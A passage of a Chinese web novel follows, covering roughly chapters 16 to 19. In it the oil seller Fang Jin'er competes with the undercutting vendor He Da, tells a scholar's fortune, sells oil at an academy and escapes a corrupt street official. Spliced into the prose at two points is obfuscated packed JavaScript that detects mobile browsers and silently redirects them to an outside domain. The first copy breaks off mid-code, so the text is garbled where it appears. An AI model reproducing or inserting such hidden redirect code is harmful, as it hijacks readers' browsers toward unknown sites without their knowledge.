“你休要瞎说,我何大做得正行得端,我可没占你位置。” 何大指指他身后那三尺地儿,从前是左右宽三尺,现在被他这么一挡,前后也只剩三尺了。 “你自个看好,我是不是一寸没占?” 房锦儿气笑了:“你倒是瞧瞧,我还进得去不?客人还进得去不?这跟占了有何区别。” “呵,”何大嗤笑一声,“那是你的事。” 他看见房锦儿就气得咬牙。 敢跟他抢生意就算了,街道司竟然还拿她没办法? 更有甚者,昨日他便觉得这小女娘有些眼熟,今日细看之下竟才想起来,这不是问他路引的那个小叫花子么。 还曾莫名其妙跑去他摊前偷瞄了一下午。 他只当是打他那钱袋的主意。 原是早就盯上了这门生意! 嗨呀呀,何大暗暗捶胸,要是那时便知,干脆报官把她抓了多好,何来今日这麻烦。 房锦儿哪晓得他面上看着沉着冷静,浑不在意似地继续卖着油,心里却有这么多戏。 只奇怪这货郎不是在商市里卖得好好的么,她都不去抢他的,他是哪根筋搭错了,非跑来与她争地盘。 她背着油罐左右试了试,见横竖都进不去那摊位,索性后退几步。 “好啊,既然如此,那我也不必纠缠什么摊位不摊位的了,我就学你,在这里摆。” 她说着,把油罐往地上一放,恰恰好拦在何大的摊前。 何大那位置,虽说左右并无遮挡,却是正对着明经书馆大门的,被这么一堵,对过的书生就只能看见房锦儿,即便专程要买他的油,也必先经过房锦儿的摊儿。 “诶我说你这个……小女娘,要点脸面不要?”何大气得拍了拍脸皮。 “我怎么不要脸面了?”房锦儿悠悠往外拿斗合,“我占你位置了么?是不是一寸没占?哦,怕人家看不见你了?莫怪,那是你的事。” 何大被噎了个彻底,半晌没接上话。 他抬头看了看前方,明经书馆门前这路并不算宽敞,从旧书铺子到大门前不过二丈许,他已经向前挪了半丈,房锦儿又推出去半丈,两人之间还隔着半丈。 想再往前,那就直接怼人家大门里去了。 见此法行不通,何大冷冷地从鼻孔里“哼”出一声:“下三滥的手段倒是会不少,有本事堂堂正正卖油,看谁卖得过谁。” 房锦儿挑眉:抢我词儿? “就怕你卖输了又要不高兴。进逸,”她支好了摊儿,道,“准备家伙。” “好嘞。” 进逸应声从身后掏出两条麻布。 这麻布是提前用澡豆泡过拧干的,每次用时只要再沾一点点清水,擦出来的油瓶便是锃光瓦亮。 何大听她唤进逸那语气,本还瑟缩了一下,心说这女娘不会真敢当街打人罢?毕竟昨个街道司的人都没拗过她。 哪知拿出的是两条破布,他哈哈大笑起来。 房锦儿懒得理他,只管吆喝道:“房记桐油灯油——六十八文一斤,油好芳香,清澈见底,头三者惠价一文——凡卖半斤,赠擦瓶一次——” 她那招子还高高挂在旧物摊的竹竿上,本就显眼。 加之今个摆得离书馆格外地近,很快便有刚出校门的书生过来了。 “哟,娘子家今个头三还在?”书生有些惊讶。 房锦儿笑容满面:“在在在,今个来得晚了些,郎君正是头一个,立减一文!打一升?” “那可真是难得,打一升!”书生将瓶递过,搓了搓掌。 “好嘞——” 这不就开张了么? 房锦儿心中得意一许,连忙笑着伸手去接,瓶将将触到指尖,忽听身后有人道:“慢着!” “我家桐油只要六十文一斤!”何大洋洋得意地拍了拍油坛。 递瓶的手闻言一顿,瓶身忽而顺着她指尖滑了下去。 房锦儿赶忙反手捉住那瓶口。 六十文?!她没听错罢,她转头看了何大一眼,这人是疯了么,为了跟她抢这地盘,利润都不要了? 他从前不是售七十文一斤么,生生降价十文,这是想作甚?垄断?砸场? “怎么样,郎君不若来买我家的?买一斤,送些添头。”何大继续加码。 还送添头…… 房锦儿觉察那油瓶在手中动了一动,她忙捏住了,道:“郎君乃识货之人,当知桐油也讲究个好坏,若是油里渣滓多,点起灯来呛鼻不说,还很是费油。你看我这油,澄澈得很,虽贵几文,但耐得住烧啊。” 那书生犹豫了一下,对着何大道:“是了,我好像听说,你家的油渣滓颇多。” “无中生有的事儿。”何大道。 他敲了敲那油坛:“郎君自个过来瞧瞧不就知道?” 那书生和房锦儿闻言同时伸长了脖子,一看,何大坛中的油竟果真是清澈金黄,并不见有什么油渣。 房锦儿“咦”了一声。 奇怪,昨个那些书生不是都说他家桐油渣多刺鼻么,难道是讹传? 那既然品质不错,他为何突然削价如此之多?即便是要抢她明经书馆这块地方,减价一二文足以。 猛减十文,一日卖油二十来斤,便是少了二百来文。 一月下来,生生少赚一贯钱。 伤敌一千自损八百,这与自毁前途何异。 房锦儿不知何大的桐油进价几何,心说难不成这人油买得比她更便宜?所以才舍得这样抛售? 正思索间,手里的油瓶动了动,房锦儿一个没抓住,便见它“嗖”地滑走了。 她忙道:“郎君再想想?我家可帮郎君擦瓶。” “对不住了,娘子。”那书生有些不好意思地笑笑,“实在是囊中羞涩,擦瓶不擦瓶的……” 也不如少付七八文钱来得实在。 他毫不犹豫地转向了何大家的油摊儿:“打一斤!”独留房锦儿与逸哥儿面面相觑。 房锦儿:“……” 也是,谁叫这桐油卖的本就是个便宜。有钱的不必点桐油,自去点那豆油芝麻油,没钱的精打细算,当然是能省一文省一文。 一斤油省七八文,一月下来,饭食钱都有了。 换谁谁不心动。 果然,接下来两刻钟,十几来个前来买油的书生皆是如此。 先被房锦儿那头三减一文和擦瓶的噱头吸引,随后一听何大家的油价,纷纷弃甲倒戈,头也不回,走得那叫一个干脆。 “对不住娘子,实在是差价太大。” “阮囊羞涩,实在惭愧,娘子莫怪啊。” “这月不巧,着实有些入不敷出了,下月,下月定再来光顾娘子生意。” “……” 其中不少还是昨日夸过她油好、替她骂过街道司的。 果然便宜才是王道。 房锦儿勉强笑着应付众人,心中凄凄,还要随时承受何大那副小人得志的嘴脸,时不时投来个鄙夷的轻笑。 卖了半个时辰,何大那两坛子油已经见底,房锦儿罐里却是分毫未动。 反正也售不出去,她索性放弃吆喝,坐下斜靠着背篓思忖了一阵,站起身来。 何大精神一振:“呵,这是甘拜下风,走了?” 房锦儿头也不抬:“走了。” “走了?”进逸吃惊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“在下许纵,那日错失让小娘子算卦的机会,后几番去商市寻而不得,没想到小娘子竟在此处,当真是踏破铁鞋无觅处,得来全不费工夫。” 许纵将手一拱,十分高兴。 房锦儿也有些惊喜,但总不好说“我后来也想赚你银子,特意去寻过你”,只好道:“巧了。” 许纵自上次商市寻房锦儿不见后,又去找过两回才死心,见她身后背着陶油罐,篓里还放着张招牌,突然反应过来什么。 “娘子在这卖油?” 房锦儿以为他要买油,笑着道:“郎君来得不巧,本来是在这卖油,现下恐要另寻去处了。” 许纵闻言,心中悔不当初。 原来新来的卖油娘子就是她!早知如此,他就由着王远瞻在这儿买了,还去什么商市! 可转念一想,不对啊,这小女娘不是算卦的高人么? 怎跑来卖油了? 许纵脸上的表情由痛心转为疑惑,又从疑惑变成了思索,最后突然透出一点点了然于心的意味。 他这人除了喜爱五行四柱之术,从小戏曲话本也没少看。那些个高人入世,扮成村夫野老、贩夫走卒,云游天下,专看这世间百态的传奇他不知读过多少。 他重新看了看房锦儿。 一身白衣,面带微笑——出尘。 模样瘦削干瘪,眼珠却奕奕有神——伪装。 身边还跟着个模样老成的小儿——童子!且他记得,应该是一双童子才对,还有一个定是暂派去别处办事了。 如此,一个看破命理,周游红尘的大仙形象在许纵心中徐徐浮现。 那她为何要偏生选在这明经书馆门前卖油呢? 许纵脑中再次灵光一现,四个大字缓缓而出: 文曲星君。 房锦儿见他半天不说话,道:“郎君要油否?若是不要,我便先告辞了。” 许纵赶忙回神:“要!要要要,要五斤,不,十斤!” 17. 第 17 章 十斤? 周围人闻言纷纷侧目。 买桐油的书生都不算富裕,寻常打油一两半斤,打一斤就算多的了,打十斤,这么阔绰? 何大眼睛亮了,赶忙在一旁故技重施,高声吆喝:“这位郎君,看看我家的桐油,只售六十文一斤,合适得很。” 哪知许纵不理他,只满眼期待地等着房锦儿。 房锦儿有些奇怪,这人怎每次都出乎她预料,上回一见面就要她算卦,这次一见面就要十斤油。 且她更奇怪的是,这人穿着打扮朴素,衣鞋皆有补丁,又用便宜桐油,怎么看都不是个有钱人家的子弟,竟舍得一次买这许多? 她打量着许纵,道:“郎君买这么多,用得完否?我看你也无油瓶装呐。” 一斤油就够用六七天的,且他没带油瓶,像是从别处回来,并非专程来买油。 许纵愣了一下,赶忙左右环顾一圈,道:“有!有有有,油瓶好说。” 他说罢从怀里掏出荷包,高举着便道:“谁有空油瓶出借?我出五文一个。” 何大摊前还有好些个正在排队买油的书生,听闻此话,又看了看自己手中的空瓶,有些犹豫。 许纵见无人应答,又道:“十文一个,今夜就还。” 这下子有人应了:“我借!” 队伍里一个瘦高的书生率先举起自己的空瓶。 旁边有同砚拉了拉他衣袖:“你借?那桐油你不买啦?” 那书生道:“十文呢,我刚好缺钱买方墨,桐油明日再买也一样。” “嘿,有道理,我也缺些买纸钱,”又有人道,“我的瓶你也拿去罢。” “我也借,我缺十文买吃的。” “还有我,我啥也不缺,就是想赚十文钱。” 队伍里一阵哈哈大笑,许纵一下子便借回五个油瓶,当即给了钱,笑得合不拢嘴:“多谢诸位帮忙,多谢诸位帮忙。” 亦有人道:“这人莫不是个傻子?买油挑贵的买就算了,还花钱借油瓶?五个油瓶五十文,岂不等于每斤油贵出十七八文?” “最简单的算学都没学明白,这书怕是白读了。” 又是一阵哈哈声。 价钱的事,房锦儿倒也不准备欺瞒,毕竟谁的钱也不是大风刮来的,更何况是贫寒士子。 她拦住还在继续借瓶的许纵,诚恳道:“郎君,我这桐油比寻常油铺便宜,但若比那位货郎家,还是要贵些,我卖六十八文一斤,你若买了,是我今日头一个顾客,我便宜你一文,收你六十七文。但那位货郎只卖一斤六十文,你若想买他家,我绝无怨言。” “不不,我就买大……娘子家的。”许纵也满脸真诚,真诚中还透着些许激动。 这可是高人,大仙,说不准是文曲星君下凡。 即便不是文曲星君本尊,也定与此有关,错不了。 高人大仙卖的灯油,点了说不定就能金榜题名。 不买她的买谁的?难道还买那个平平无奇的货郎何大家的? “嘁!”何大颇为大声地表示不屑,嘟囔了一句,“草包一个,有便宜都不知道捡,这书我看你也是念到头了。” 许纵转头喷他:“你懂甚么,鼠目寸光之辈,焉能知其中道理?” 那排队买油的队伍当中,还源源不断有人想要出借油瓶,许纵继续又收了几个,一时间密匝的队伍就变得零零散散。 许纵收了十个油瓶,就等于何大少了十个客人。 何大眼瞧着十来桩到手的生意飞了,急得跺脚:“别啊,别走啊,这般便宜的桐油你们都不要啦?过了这个村可就没这个店呐。” 几个走出去的书生回头:“这话何意,你明日不是还来么?难不成要涨价?” 何大被四面盯着,好不容易抢来的地盘和生意,价钱当然不能涨,至少要维持到压垮房锦儿为止。 所以也不能说是,只能涨着脸道:“不涨不涨。” “那我们明日再来就是。”书生们摆摆手,走了。 见许纵如此坚持,房锦儿便重新放下背篓,把油给他打了。 许纵借来十个油瓶,本是真想买十斤,然其中四个瓶子只盛得下半斤左右,终是打了八斤二两。 许纵付了钱,左五瓶右五瓶地拎着,很是兴奋,把房锦儿叫到一边,放下油。 “大……” “仙”字险些脱口而出,他赶忙清了清嗓子,笑着改口:“娘子,上回无缘,难得再遇,娘子能否帮我卜一卦,就卜学业,还卜学业。” 许纵这人生得一双黑白分明的凤眼。 房锦儿想起他上回想请她卜卦,说起“学业”二字时,眼中也是这般熠熠生辉,仿佛只要她肯答应,他就能一举夺魁。 不过上回没给他算,是怕露怯。 这回嘛…… 房锦儿摸了摸还没焐热的铜钱,心情不错。 行罢,人家刚买了八斤油,是大主顾,没理由连个卦都不给人算。 进逸看见房锦儿脸上的表情,便知她要松口了,心中一紧,暗道不妙。这要是算错了怎办?人家会不会当场退了那八斤油? 他正想上前阻止,房锦儿却已经开口了:“好。” 进逸嘴角一抖。 许纵大喜过望,忙取荷包道:“娘子此番卦资我定当好生奉上。” 房锦儿伸手拦住他:“诶,卦资不卦资的,这样,你刚不计价钱买了我的桐油,算是雪中送炭,我现在不收分文,赠你一卦,如何?” “这,那自然,好啊!” 许纵先是惊讶,随即两手一拍大腿,几要蹦起来,觉得这八斤油真是买得对极了,再让他买八十斤他也毫不犹豫。 “不过这命理讲究个有来有往,我今日虽不收钱,但若是算准了,你届时也得答应我一件事。” “何事?娘子但说无妨。” “你得像今日一样,再买我八斤桐油。不止如此,你还得再忽悠……说服十个书生,各在我这里买八斤。” 房锦儿伸手比了个大大的“八”字。 许纵没犹豫半分,只觉得她如此沉迷于卖油,定有她的道理,说不定与她此番游历红尘的缘由有关。 他道:“好,我答应。不过我还未说我究竟要卜哪一项,娘子怎就知道是‘届时’?” 房锦儿笑了,站直身子,负手围着他转了一圈,将他仔细打量一番。 又凑过鼻子,在他周遭仔细闻了一闻。 末了佯装掐指:“若我没算错,你要卜的,是上回月考的结果。” 许纵瞠目结舌:“正是如此,娘子奇了 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荣永新便道:“小的那日有幸跟着房爷办事,房爷不记得而已。” 言下之意,那日房进利踢飞花盆时他也在场。 “哈哈哈哈哈,”房进利大笑,道,“好,你今后便跟着我,扫街不用去了,我会找个人与你换班。” “多谢房爷。”荣永新赶忙行礼,“那……我现在就去查那房锦儿的税凭?” 房进利挥手:“去。” …… 盛都城内,阡陌纵横,沿街的摊铺店业,凡经营者,必得纳税。 而这商铺不计其数,税钱凌乱繁杂,收税并非易事,也确实只有各坊的街道司能胜任得了。 故此,大小商户的税银,都是由街道司代为收缴,再转交户部。 荣永新很快便翻完了当月坐税钱缴纳的名册。 “确定没交?” 房进利像只压不住嘴角的黄鼠狼,想到昨日那丢人现眼的场面,他只觉脑门上的伤口突突跳。 敢惹他房进利的人还没出生呢,当街给他难看? 现在让他逮着了,可不仅仅是钱的事儿。 他不把房锦儿和那俩小兔崽子抓进大狱,他难解心头之恨! 荣永新:“确定。” “好!”房进利拍案而起,立时叫了七八个身材壮硕的捕快,不仅佩刀,更是人手拿了那碗口粗的笞杖。 一行人气势汹汹,沿街踢摊踹店,直奔明经书馆对过。 “房锦儿,给你二堂哥滚出来!” 房进利还未走到昨日那旧书铺前,便咬牙切齿道。 他打眼一扫未见着要找的人,正要发怒,忽见那地方又多出了个新摊儿,仔细一看,竟也是卖桐油的。 那摊主人似是被他吓了一跳,手里的铜角没拿稳,“铛”的一声掉在地上。 “官人,她,她她她已经走了。”何大赶忙捡起铜角,颤声端笑。 远处安化门外,正带着逸哥儿,背着剩下几斤油,慢慢悠悠往文德学馆山坡上走的房锦儿忽觉鼻子奇痒。 挠了挠,“阿嚏”一声,打了个响亮的喷嚏。 18. 第 18 章 “我去他娘的,”房进利怒骂一声,“什么时候走的?” “回官人,走了有……有小两刻钟了。”何大赶忙笑着答应。 “走哪去了?” “这,这小的不知。” “不知?”房进利打量他一眼,把那笞杖在手心敲了敲,“你不也是卖桐油的么,你们是同业,摊子都摆在一起,会不认识?” “哎哟哟,官人这可就冤枉小的了,小的今天是头一回来这里摆,与那个女娘也是第一回见,不认识,真不认识。” 何大笑着,抬袖擦了擦额角渗出的薄汗。 他的桐油都卖光了,本是要收摊的时候,还想着收了摊,去问问那旧书铺的店主,能否让他也把招牌挂到竹竿儿上去,怎料突然来了这尊大佛。 他看着那碗口粗的杖有些害怕,心中暗暗叫屈。 怎么房锦儿在的时候不来,偏生现在来了?还带这么多人,昨个也不见带这许多啊。 房进利脸色阴沉得紧,显然对何大这番回答不太满意。 “第一回来?” “是是……” “那你一来,她就跑了,嘶,难不成是你这人太晦气,挡了本爷的好事?” “小的不敢,小的不敢,”何大吓了一激灵,连连摆手,“就,就是巧了而已。若是小的知道官人要来找,定使出浑身解数把她留住,不让她走。” “巧了?”房进利挑眉笑笑。 何大还以为自个说在了对方心坎上,也赶忙赔笑:“巧了,巧了。” 哪知房进利满肚子火气已经忍到了极限,突然拔声道:“那本爷怎就巧不了?来啊,这人包庇违律摊贩,给我打。” “哎哟,官人饶命!”何大登时吓得魂都散了。 七八个持杖的捕快围拢过来,惊得何大一屁股坐在地上,连呼冤枉。 他边呼边拿眼睛四处求救,哪知他此刻运气实在背极,先前买油买货的书生早散得一个不剩,左右空空落落,连书馆门前都寂寥无人。 那旧书铺的店主也像消失了一样,连个动静都无。 气得他抱头暗骂这群酸驴,捡了便宜桐油,却一个个见死不救,怎地昨日房锦儿遭难,就有那么一大帮人替她出头? “慢着。” 就在那笞杖快要落下之时,忽然有人拦住。 “房爷三思,抄摊儿容易,不过是不是太便宜他了?不如留着他,教他当个生蛋的鸡。”荣永新看着何大,凑到房进利身边耳语。 “什么意思?”房进利不解地皱了皱眉。 荣永新低声:“房爷忘了?税务归咱们街道司管。” “你的意思是,让他……” “让他交,”荣永新提点道,“只要他想支摊儿,就得房爷您点头。至于您堂妹么,咱们再去找便是,她要吃喝,总不会不露面做生意,没准儿明日就来了。” “你小子,有点儿东西。”房进利竖起食指,脸上的阴霾一扫而光,露出个满意的笑容。 “你,可知在此设摊要交坐税钱?”房进利过去踢了何大一脚。 何大一骨碌跪起来:“知道,知道。” “那税凭可有?” 何大有些疑惑:“官,官人不打小的了?” 房进利“嘶”一声:“你还想挨打?” “不不。”何大头摇得像拨浪鼓。房进利不耐烦道:“那你废什么话,税凭拿出来。” 何大只好乖乖把税凭从袖里摸了出来,递给房进利。 不过按理说,只有在商市摆摊才需税凭,他还是头一回见在街上设摊也要查验的,心中难免觉得奇怪。 但转念一想,这一行人气势汹汹,应该本就是来查房锦儿那女娘的,只不过倒霉让他给遇上了。 兴许只要给了税凭,就能放他走呢。 房进利接过税凭看都不看,直接递给荣永新。荣永新看了看:“你叫何大郎?” 何大点头称是。 荣永新便朝房进利道:“房爷,是他的没错。” 何大闻言谄笑:“官人你看,我虽头一回来,可原本就在坊里商市卖桐油,是懂得的,税凭都有,不敢违律。倒是官人要找的那个女娘,偷奸耍滑,定没有税凭,官人定要把她抓起来,以示惩戒。” “是么?”房进利低头看了看自己的手,突然笑道,“你税凭在哪?” 何大诧异抬手去指:“这不在那位爷手上……” 只见荣永新把纸笺淡淡然塞进袖里:“什么税凭?我没收到啊。” 他说罢正色转向房进利:“房爷,您可别被他诓了,依本朝大律,凡偷、逃商税者,杖三十,没收全部货物,罚税金五倍之数。我看这厮是偷逃坐税的惯犯了,还想蒙骗过关。” - “阿姐,给。”进逸从怀里掏出一条帕子给房锦儿。 房锦儿揉着鼻子:“哪儿来的?” “湘娘娘缝的,缝了三条,给咱们一人一条。她昨夜缝的时候被我瞧见了,她瞧我喜爱,就让我先带着,等回去再让她把图样绣完。你和锦云的今日就应当绣好了。” 薛湘当真一双巧手,房锦儿把那帕子左右翻着看了看,是拿她带回去那篓碎布头拼的,针脚细腻得几乎看不出。 “昨夜?她没睡?” “没睡,说是想她家阳哥儿了,我就陪了她一会。她说那篓碎布头除去三条帕子,还够做枕头跟荷包呢。” 薛湘和吴顺是有个小子的,说是和进逸同岁不同月,只不过正年后跟着阿爷阿奶去了乡下,到现在还未回盛都,他们也就没见过。 房锦儿高兴道:“那赚了啊,等枕头被褥都做好了,咱们再搞钱买些木板,打两张床。” 草席太薄,睡觉硌得背疼。 进逸想起刚才算卦的事:“阿姐,你方才是怎么看出许郎君要算月考学绩的?” “这还不简单?他未背书箱,未拿油瓶,说明既不是刚下学,也不是专程来买油。他来时走的是坊东那条道,走路时面带愁容,我闻了闻,发现他周身一股檀香味。你想想,这可说明什么?” 进逸努力思索:“坊东的道是出坊才走的,檀香……是寺院?” “不错啊,”房锦儿表示赞许,“离咱们坊最近的寺院应当是楚国寺,那你连起来想想,一个刚刚结束月考的书生,为何要去楚国寺,他想求什么?” “求月考学绩得甲!”进逸眼睛一亮,“那你怎就知道他一定能得甲?” 他回想着房锦儿方才给许纵卜算的模样,一个“甲”字说得胸有成竹,要是不准怎么办? 房锦儿满脸无所谓地耸耸肩:“猜的。” “啊?”进逸像只漏了水的小舟,“什么根据都无么?” “那倒也不是。”房锦儿道。 她还想赚许纵答应的那笔灯油钱呢,要真是一点不靠谱,她也不敢那般狮子大开口。 “我是看他衣着简朴,买灯油却舍得,说明经常彻夜用功,而卜卦不问别的,只问学业,甚至肯为此付以重金,说明对学绩极其在意。如此,一个平素用功、为月考付出极大努力之人,月考应当也不会太差喽。” “哦——”进逸满意了然,“那为何不收他卦资,反倒要他答应买油?” 这就是房锦儿的私心了:“你看他付过油钱,荷包都扁成什么样了,卦资能有几何?还不如买油来得多。况且咱们刚换地方,兴许他能带来些老客。” 姐弟二人边说边走,转眼就上到了文德学馆附近的山坡上。 时辰不早,下山采买的书生早都已经去了,此时坡上并无行人,微风簌簌,将一片青林吹得沙沙作响。 房锦儿带着进逸,围着学馆转了三圈,才碰到零星几个温书的学子,上前问了,皆是摇头,说不要灯油。 房锦儿只好把主意打到那守门的门子头上。 “这位小郎君,值守一天,当是累了罢,”她悄摸递过几枚铜钱,“不如去膻堂休息休息,吃几碟小菜?” “去去去,”那人轰她,“何处来的女娘,竟敢此举辱我?快走,免得我以律相待!” “郎君莫恼,”房锦儿怕他呼喊引来旁人,赶忙一把拉过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14973998|159691||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 进逸,“是我这可怜的幼弟,从小聪慧好学,可惜家中贫苦,上不起私塾学馆,我便想着,能否来此替他寻个境遇相仿的举子,替我幼弟开蒙,也好两相解困,彼此成全。” 她说得实在诚恳,门子犹豫了一下,看向进逸。 进逸哪能想到他阿姐有这信口雌黄的本事。 或者应当说,知是知道的,但不知道能行云流水到这般地步。 他见那门子打量过来,容不得犹豫,也只好立时摆出副可怜兮兮的表情,拱手道:“是我求阿姐来的。” 那门子踌躇了半晌,终是道:“好罢,但我只能许你们一刻钟,且不得高声喧哗,不得搅扰课堂,至于寻不寻得到良师,就看你们的运气和本事了。” “多谢郎君。”房锦儿把几枚铜钱往对方手中一塞,生怕他反悔,拉着进逸小跑进了学馆。 这学馆里头的人气就旺多了。 房锦儿不熟悉地方,不好乱闯,也不能吆喝,但只沿着围墙馆舍略略走了一会,便截胡了几个正发愁今日放堂太晚,买不到油的学子。 “才六十八文一斤,甚好啊。” 几个学子十分惊喜,每人一斤半斤地打,房锦儿背下来十三斤油,卖去许纵八斤,也就剩五斤,一刻钟许,正好卖得还剩个底儿。 出学馆的时候,那门子已经换人了。 房锦儿掂了掂油罐里剩下的,约莫一斤。 馆外坡上空无一人,时间也不早,这一斤油恐怕不好卖了,想到锦云今日还独自在家,她决定先背回去,明日再卖。 姐弟两人便趁着落日下山回城。 行到山坡半路时,忽听林中有动静,房锦儿竖起耳朵,听见有人道:“郎君,这山坡我真的都找过了,来来回回翻了四五遍,山上的树有几颗我都能背下来了。” 另一个声音道:“那你背,背不出我就当你撒谎。” “……我骗你作甚,我还没吃午食呢。” “不好好找,你暮食也别吃了,明日朝食也别吃。” “说真的,郎君,咱再买个新的不行么?我,我把我月奉贴你。” “我要你那几个臭钱?你莫要啰嗦了,快些找,你去那头,我往这边,一会坡顶见。” 房锦儿心里一讪,臭钱? 作为一个生意人,她向来将对钱尊重当做最起码的修养,所谓聚沙成塔,集腋成裘,小钱虽轻,却是经商立业之本,所以哪怕一个铜子,她也从来都看得重比泰山。 能无故说出“臭钱”这种话的,定也是“臭人”。 难怪连饭都不让人吃。 她顿住脚步,倒要看看这人什么模样。 说来也巧,说话声一消失,道旁青林安静一瞬,紧接着就突然钻出个身着黑衣的少年,差点和驻足的房锦儿撞了个正着。 两人都怔了一息,那少年皱了皱眉。 房锦儿退后一步,借着余晖,看清了对方的样貌。 只见这少年箭袖黑袍,玉簪革靴,腰带上镶着宝石,香囊玉环垂在腰侧,手中还握了把折扇。 “借过。”顾济一赶着去找扇坠,语气不大客气。 房锦儿将头一低,取下背篓抱在怀中,粗糙的大麻花辫在肩头晃了一晃:“郎君可要灯油?还剩个底儿,给郎君算便宜些。” 灯油? “不要。” 顾济一不明所以,开口想要拒绝,他还是头一回在这坡上见着卖东西的小贩,也是头一回有小贩敢同他说话。 房锦儿坚持:“还剩最后一斤了,便宜卖给郎君,卖完我便可带着幼弟回家,买些吃食。” 顾济一这才看清了面前之人,是个年纪同他相仿的小女娘,还带着个七八岁的幼弟,两人都瘦得像野草一般。 小女娘手中抱着个比她还宽的陶罐,仿佛一阵风刮过便能使她栽倒。 顾济一低眼看了看那陶罐里,如她所说,确实还剩一些油。 罢了,他摸出荷包:“几何?” 房锦儿看着他的眼睛,面不改色:“最后一斤,就算郎君一百六十八文罢。” 19. 第 19 章 顾济一没有带散钱出门的习惯,翻了半天也没找出一个铜板,也没有小到价值相当的碎银,只好道:“你帮我送到坡顶上去,我家仆自会把钱给你。” “好,”房锦儿笑嘻嘻,“我给郎君送上去。” 送完油拿了钱,房锦儿带着进逸,溜得比兔子还快。 进逸边跑边问道:“阿姐,咱以后不来文德学馆卖油了?” “来啊,为何不来。” “要是再遇上那个郎君怎办,咱卖给他的油贵这么多,他会不会找咱们算账?” “嗐,他啊。”房锦儿一点不担心,“你看他那身黑不溜秋的打扮,还有腰上坠的墨环和绿石,都贵得很,压根就不像学馆里的读书人,八成只是上山来寻什么人的。” 只要现在不被他逮着,以后就没事。 “放心罢,不会再遇着了。多赚的一百文钱,咱们去买糕点吃。” 这朝的糕点是贵价东西,在茶楼里售卖,寻常百姓最多舍得买些炸馓子、糖煎果,像花果子、松子糕、蜜金梅这样的,金贵得很。 大安坊里有名的茶楼就在商市,名叫李贵茶楼,里头糕点琳琅满目。 就是价钱也看得人眼花。 进逸只瞧了一眼就吓住了,眼神里透露着都想吃,嘴上却半天说不出个“要”字,房锦儿看他磨磨唧唧,只好道:“你要是选不出,那就只能我选了啊。” 于是她搓了搓手,指了指一早相中的团花模样,裹满了金亮糖汁的酥蜜团:“有劳,要半斤这个。” 店伙计有些意外:“半斤?” 房锦儿不觉有什么问题,很多吗?这玩意一个不到拇指长,一口一个,还要给吴家两口子也分些,不买半斤怎么够。 她点头:“半斤,捡着蜜汁多的来。” 店伙计奇怪地看了她几眼,还是给她称好了,拿油纸和细绳包成一包:“九十五文。” 房锦儿想着有阵子没吃甜的了,虽有点儿心疼,但只让减了五文就爽快付了钱。店伙计几番欲言又止,收了铜板,最终什么也没说。 回到破落院儿里,薛湘正在屋门前做暮食,小锦云坐在门槛上帮着添柴烧火,见阿哥阿姐进院门,蹬着小短腿,扬着熏黑的小脸就跑来了。 她今日没能跟去卖油,寂寞得不行。 “湘娘娘——阿姐买了糕点,快来快来。” 锦云守着房锦儿带来的小纸包,高兴得蹦蹦跳跳。 薛湘端着陶锅和碗筷过来了,见到那纸包里的东西,同样有些激动:“今日不是不顺利么,怎还买了这个?很贵罢?” 房锦儿已经不客气地坐到了吴家的饭桌上,把酥蜜团往薛湘的方向推了推:“贵,不过算是有人请,快尝尝。” 她说着自己先拿起一个,薛湘把手在腰间的围布上蹭干净,也拿起一个,两只小的见长辈和阿姐都拿了,这才跟着动手。 小锦云口水都快流出来了,拿着凑在鼻子底下闻了又闻。 四人满心期待,齐齐张口,哪知一口下去,三人没了声音。 房锦儿吃完一个,舔舔嘴,又拿起一个,正要咬,突然发现不对劲:“吃啊,怎么不动了?” 薛湘掩着嘴咀嚼,半天说不出话,锦云张着嘴拿手指头猛抠上牙膛,还是逸哥儿咽了半天,直着嗓子含糊道:“阿姐……蜜太多了,齁得慌。” “是吗?”房锦儿又尝了一口,“我怎觉得正好啊。” 甜食不都如此?哪里齁了。 总之勉强吃完一个,三人死活都不肯再碰那酥蜜团了,一个劲地喝水,喝了个水饱,最后连暮食都没吃下去多少。 只有房锦儿觉得好吃,用过了饭,又开开心心吃下两三个。 “锦云还要不要?” 锦云头摇得像拨浪鼓。 奇怪了,平日里吃小摊儿上的蜜饯果子也不见这小囡嫌齁啊。 她又只好问薛湘:“真不用给吴大哥留点儿?” “真不用,你敞开了吃,都是你的。”薛湘迅速拒绝,顺便递给她一碗清水,怕她吃伤了,然后自个拿了碎布来,给房家姐仨缝没缝完的枕头。 “诶,不过你说何大抢你摊子这事儿,你怎不也跟着削削价?就这样让他把好地方夺去了?” 房锦儿吃一口酥蜜团:“他都削到六十文一斤了,我还怎么削?” “你也削到六十文不就行了?”薛湘手里送着针,“摊子跟他并排着摆,人家也不会只买他的。” 房锦儿摇头:“湘姐,他这招削价叫‘作死’,乃是商家制敌的下下之策。你想想,他卖六十,我卖六十,明日他为了压我,再削到五十五,后日我为了胜他,又压到五十,压来压去,等到利润耗干,就是四个字:同归于尽。” 薛湘听她说的也有道理,叹了一口气:“那你现在打算怎么办?” 房锦儿把酥蜜团塞进口中,啜了啜手指上的蜜:“此处不留爷,自有留爷处。先把那文德学馆的书生都拿下再说。” - “郎君……我真的饿了,咱搬完这些,能先去膻堂看看否?”元甲肚子咕噜噜打雷。 他手上打包小提着顾济一的行李,还有顾济一刚买的一瓶灯油,油瓶还是他现从学馆找人借的,八辈子没擦过,脏得要命。 元甲拿两个指头掂着,嫌弃得很。 今日是他家郎君入住文德学馆,郎君不知想起什么了,非说那扇坠子就是掉在通往学馆的半山坡上,拉着他提前来找。 运行李的马车晚些才到,他想着找就找罢,哪知一找找到天黑,没寻到不说,还得知这学馆有规矩,马车不得进山,他又只好一趟一趟地搬。 顾济一在旁边当甩手掌柜,觑他一眼:“你怎么就知道吃。” “人家都说有其主必有其仆,我从小跟着郎君长大,郎君知道什么我就知道什么……哎哟!” 